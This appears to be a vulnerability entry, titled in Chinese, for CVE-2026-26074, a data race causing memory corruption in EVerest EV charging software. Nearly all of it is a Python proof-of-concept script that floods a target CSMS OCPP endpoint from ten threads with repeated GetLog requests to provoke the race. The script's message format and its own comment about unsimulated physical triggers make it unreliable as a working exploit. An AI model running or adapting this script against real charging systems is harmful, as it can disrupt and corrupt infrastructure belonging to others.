CVE-2026-26074 EVerest数据竞争导致内存破坏漏洞

import requests import threading import time # Target EVerest CSMS endpoint target_url = "http://target-everest-csms:8888/OCPP/201" headers = {'Content-Type': 'application/json'} # Malicious payload to trigger network request def send_network_request(): payload = { "messageType": 2, "command": "GetLog", "payload": { "logType": "DiagnosticsLog", "requestId": 12345 } } try: # Send request repeatedly to increase chance of race condition while True: response = requests.post(target_url, json=payload, headers=headers, timeout=5) print(f"Sent request, status: {response.status_code}") time.sleep(0.1) except Exception as e: print(f"Error sending request: {e}") # Simulating the race condition scenario # Note: Physical EVSE fault event is hard to simulate purely via code, # but this script stresses the network interface to overlap with potential physical triggers. if __name__ == "__main__": threads = [] for i in range(10): t = threading.Thread(target=send_network_request) threads.append(t) t.start() for t in threads: t.join()